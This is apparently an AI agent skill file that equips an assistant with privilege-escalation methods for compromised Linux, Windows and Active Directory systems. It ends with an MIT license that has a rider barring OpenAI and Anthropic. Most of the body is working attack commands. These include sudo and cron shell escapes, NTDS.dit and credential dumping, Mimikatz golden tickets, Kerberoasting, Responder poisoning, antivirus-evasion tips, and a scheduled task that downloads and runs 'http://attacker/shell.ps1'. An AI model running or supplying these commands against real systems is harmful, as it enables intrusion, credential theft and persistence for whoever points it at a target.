--- name: privilege-escalation-methods-230ebe3a0dd2 description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems. metadata: author: zebbern version: "1.1" --- # Privilege Escalation Methods ## Purpose Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations. ## Inputs/Prerequisites - Initial low-privilege shell access on target system - Kali Linux or penetration testing distribution - Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus - Understanding of Windows/Linux privilege models - For AD attacks: Domain user credentials and network access to DC ## Outputs/Deliverables - Root or Administrator shell access - Extracted credentials and hashes - Persistent access mechanisms - Domain compromise (for AD environments) --- ## Core Techniques ### Linux Privilege Escalation #### 1. Abusing Sudo Binaries Exploit misconfigured sudo permissions using GTFOBins techniques: ```bash # Check sudo permissions sudo -l # Exploit common binaries sudo vim -c ':!/bin/bash' sudo find /etc/passwd -exec /bin/bash \; sudo awk 'BEGIN {system("/bin/bash")}' sudo python -c 'import pty;pty.spawn("/bin/bash")' sudo perl -e 'exec "/bin/bash";' sudo less /etc/hosts # then type: !bash sudo man man # then type: !bash sudo env /bin/bash ``` #### 2. Abusing Scheduled Tasks (Cron) ```bash # Find writable cron scripts ls -la /etc/cron* cat /etc/crontab # Inject payload into writable script echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh chmod +x /home/user/systemupdate.sh # Wait for execution, then: /bin/bash -p ``` #### 3. Abusing Capabilities ```bash # Find binaries with capabilities getcap -r / 2>/dev/null # Python with cap_setuid /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")' # Perl with cap_setuid /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' # Tar with cap_dac_read_search (read any file) /usr/bin/tar -cvf key.tar /root/.ssh/id_rsa /usr/bin/tar -xvf key.tar ``` #### 4. NFS Root Squashing ```bash # Check for NFS shares showmount -e # Mount and exploit no_root_squash mkdir /tmp/mount mount -o rw,vers=2 :/tmp /tmp/mount cd /tmp/mount cp /bin/bash . chmod +s bash ``` #### 5. MySQL Running as Root ```bash # If MySQL runs as root mysql -u root -p \! chmod +s /bin/bash exit /bin/bash -p ``` --- ### Windows Privilege Escalation #### 1. Token Impersonation ```powershell # Using SweetPotato (SeImpersonatePrivilege) execute-assembly sweetpotato.exe -p beacon.exe # Using SharpImpersonation SharpImpersonation.exe user: technique:ImpersonateLoggedOnuser ``` #### 2. Service Abuse ```powershell # Using PowerUp . .\PowerUp.ps1 Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1' Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1' ``` #### 3. Abusing SeBackupPrivilege ```powershell import-module .\SeBackupPrivilegeUtils.dll import-module .\SeBackupPrivilegeCmdLets.dll Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit ``` #### 4. Abusing SeLoadDriverPrivilege ```powershell # Load vulnerable Capcom driver .\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys .\ExploitCapcom.exe ``` #### 5. Abusing GPO ```powershell .\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" ` --Author DOMAIN\ --Command "cmd.exe" ` --Arguments "/c net user Administrator Password!@# /domain" ` --GPOName "ADDITIONAL DC CONFIGURATION" ``` --- ### Active Directory Attacks #### 1. Kerberoasting ```bash # Using Impacket GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request # Using CrackMapExec crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt ``` #### 2. AS-REP Roasting ```powershell .\Rubeus.exe asreproast ``` #### 3. Golden Ticket ```powershell # DCSync to get krbtgt hash mimikatz# lsadump::dcsync /user:krbtgt # Create golden ticket mimikatz# kerberos::golden /user:Administrator /domain:domain.local ` /sid:S-1-5-21-... /rc4: /id:500 ``` #### 4. Pass-the-Ticket ```powershell .\Rubeus.exe asktgt /user:USER$ /rc4: /ptt klist # Verify ticket ``` #### 5. Golden Ticket with Scheduled Tasks ```powershell # 1. Elevate and dump credentials mimikatz# token::elevate mimikatz# vault::cred /patch mimikatz# lsadump::lsa /patch # 2. Create golden ticket mimikatz# kerberos::golden /user:Administrator /rc4: ` /domain:DOMAIN /sid: /ticket:ticket.kirbi # 3. Create scheduled task schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" ` /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" schtasks /run /s DOMAIN /TN "enterprise" ``` --- ### Credential Harvesting #### LLMNR Poisoning ```bash # Start Responder responder -I eth1 -v # Create malicious shortcut (Book.url) [InternetShortcut] URL=https://facebook.com IconIndex=0 IconFile=\\attacker_ip\not_found.ico ``` #### NTLM Relay ```bash responder -I eth1 -v ntlmrelayx.py -tf targets.txt -smb2support ``` #### Dumping with VSS ```powershell vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\ ``` --- ## Quick Reference | Technique | OS | Domain Required | Tool | |-----------|-----|-----------------|------| | Sudo Binary Abuse | Linux | No | GTFOBins | | Cron Job Exploit | Linux | No | Manual | | Capability Abuse | Linux | No | getcap | | NFS no_root_squash | Linux | No | mount | | Token Impersonation | Windows | No | SweetPotato | | Service Abuse | Windows | No | PowerUp | | Kerberoasting | Windows | Yes | Rubeus/Impacket | | AS-REP Roasting | Windows | Yes | Rubeus | | Golden Ticket | Windows | Yes | Mimikatz | | Pass-the-Ticket | Windows | Yes | Rubeus | | DCSync | Windows | Yes | Mimikatz | | LLMNR Poisoning | Windows | Yes | Responder | --- ## Constraints **Must:** - Have initial shell access before attempting escalation - Verify target OS and environment before selecting technique - Use appropriate tool for domain vs local escalation **Must Not:** - Attempt techniques on production systems without authorization - Leave persistence mechanisms without client approval - Ignore detection mechanisms (EDR, SIEM) **Should:** - Enumerate thoroughly before exploitation - Document all successful escalation paths - Clean up artifacts after engagement --- ## Examples ### Example 1: Linux Sudo to Root ```bash # Check sudo permissions $ sudo -l User www-data may run the following commands: (root) NOPASSWD: /usr/bin/vim # Exploit vim $ sudo vim -c ':!/bin/bash' root@target:~# id uid=0(root) gid=0(root) groups=0(root) ``` ### Example 2: Windows Kerberoasting ```bash # Request service tickets $ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request # Crack with hashcat $ hashcat -m 13100 hashes.txt rockyou.txt ``` --- ## Troubleshooting | Issue | Solution | |-------|----------| | sudo -l requires password | Try other enumeration (SUID, cron, capabilities) | | Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz | | Kerberoasting returns no hashes | Check for service accounts with SPNs | | Token impersonation fails | Verify SeImpersonatePrivilege is present | | NFS mount fails | Check NFS version compatibility (vers=2,3,4) | --- ## Additional Resources For detailed enumeration scripts, use: - **LinPEAS**: Linux privilege escalation enumeration - **WinPEAS**: Windows privilege escalation enumeration - **BloodHound**: Active Directory attack path mapping - **GTFOBins**: Unix binary exploitation reference --- Source attribution: Dicklesworthstone Original project: https://github.com/Dicklesworthstone/pi_agent_rust/blob/f28fc46ee0db8e710d95b8b55592cd38d60f2b26/tests/ext_conformance/artifacts/templates-davila7/cli-tool/components/skills/security/privilege-escalation-methods/SKILL.md License: MIT License information: https://opensource.org/license/mit Original upstream instructions; downloaded from Dave AI. ## Upstream license notice MIT License (with OpenAI/Anthropic Rider) Copyright (c) 2026 Jeffrey Emanuel Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: ADDITIONAL RIDER / RESTRICTION (OpenAI / Anthropic): This rider is part of the "conditions" of this License. In the event of any conflict between this rider and any other portion of this License, this rider controls. "Restricted Parties" means OpenAI, L.L.C.; Anthropic, PBC; any of their respective Affiliates; and any person or entity acting directly or indirectly on behalf of, for the benefit of, or under the direction of any of the foregoing (including any officer, director, employee, contractor, agent, consultant, service provider, or representative). Notwithstanding any other provision of this License, no rights are granted to any Restricted Party. Any purported license, sublicense, assignment, transfer, or other permission to any Restricted Party is null and void absent the express prior written permission of Jeffrey Emanuel. You may not provide, disclose, distribute, sublicense, sell, lease, lend, host, make available, or otherwise permit access to the Software or any derivative work of the Software (as defined in applicable copyright law) (collectively, "Derivative Works") to or for any Restricted Party. For purposes of this rider, "use" includes, without limitation: copying, modifying, merging, publishing, distributing, sublicensing, selling, transferring, making available, hosting, deploying, executing, benchmarking, testing, analyzing, indexing, or incorporating the Software or any Derivative Works into any dataset, training corpus, evaluation harness, or pipeline for machine learning or other automated systems. This rider applies to the Software and all Derivative Works. As a condition of use, you agree that this rider is a precondition to exercising any rights under this License, and you agree that any distribution of the Software or any Derivative Works must include this rider provision unmodified. Any breach of this rider automatically and immediately terminates the permissions granted by this License. Upon termination, you must immediately cease all use and distribution of the Software and any Derivative Works and destroy all copies under your control. You agree that a breach of this rider would cause irreparable harm and that Jeffrey Emanuel may seek injunctive or other equitable relief to enforce this rider, in addition to any other remedies available at law. To the maximum extent permitted by applicable law, the prevailing party in any action to enforce this rider shall be entitled to recover reasonable attorneys' fees and costs. For purposes of this rider, "Affiliate" means any entity that directly or indirectly controls, is controlled by, or is under common control with the specified party. "Control" means ownership of more than 50% of the voting securities or other ownership interest, or the power to direct management or policies by contract or otherwise. The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Dave AI resource metadata Creator / publisher: Dicklesworthstone Original project: https://github.com/Dicklesworthstone/pi_agent_rust/blob/f28fc46ee0db8e710d95b8b55592cd38d60f2b26/tests/ext_conformance/artifacts/templates-davila7/cli-tool/components/skills/security/privilege-escalation-methods/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: ML / AI Engineer, Security Engineer Specialties: Specialty not specified Tools: Impacket, Mimikatz, Powerupsql, Powerview, Responder, Rubeus Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: a716176dffc84ec860758a88618a602e241c6f21057e58906ed0465333c5b79b